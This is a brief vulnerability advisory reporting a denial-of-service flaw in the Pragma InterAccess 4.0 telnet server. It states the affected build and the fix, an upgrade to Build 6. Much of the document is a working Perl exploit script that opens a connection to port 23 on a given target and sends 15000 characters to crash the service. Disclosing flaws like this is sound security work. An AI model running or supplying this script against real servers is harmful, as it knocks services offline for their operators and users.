[ Advisory for Pragma InterAccess                 ]
 [ Pragma InterAccess is made by Pragma Systems    ]
 [ Site: http://www.pragmasys.com                  ]
 [ by nemesystm of the DHC                         ]
 [ (http://dhcorp.cjb.net - neme-dhc@hushmail.com) ]
 [ ADV-0119                                        ]

/-|=[explanation]=|-\
Pragma InterAccess provides daemons like telnet, 
rexecd and rshd for the Windows environment. It is
vulnerable to a denial of service.

/-|=[who is vulnerable]=|-\
Pragma InterAccess Release 4.0 Build 5
has been tested and was vulnerable. Prior versions
are assumed to be vulnerable as well.

/-|=[testing it]=|-\
Sending a burst of characters with a length of 
15000 to port 23 Interaccess will crash with:
Telnet95 has caused an error to occur in 
telnet95.exe

I have made a perl script that exploits this. It is
at the bottom of this advisory.

/-|=[fix]=|-\
Install Pragma InterAccess Release 4.0 Build 6.

#!/usr/bin/perl
#
# PI.PL - Crashes Pragma Interaccess 4.0 Server
# Written by nemesystm of the DHC
# http://dhcorp.cjb.net - neme-dhc@hushmail.com
#
####
use Socket;

die "$0 - Crashes Pragma Interaccess 4.0 Server.
written by nemesystm of the DHC
http://dhcorp.cjb.net - neme-dhc\@hushmail.com
usage: perl $0 target.com\n" if !defined $ARGV[0];

$serverIP = inet_aton($ARGV[0]);
$serverAddr = sockaddr_in(23, $serverIP);
socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect (CLIENT, $serverAddr)) {
        for ($count = 0; $count <= 15000; $count++) {
                send (CLIENT, "A",0);
        }
        close (CLIENT);
} else { die "Can't connect.\n"; }
print "Done.\n";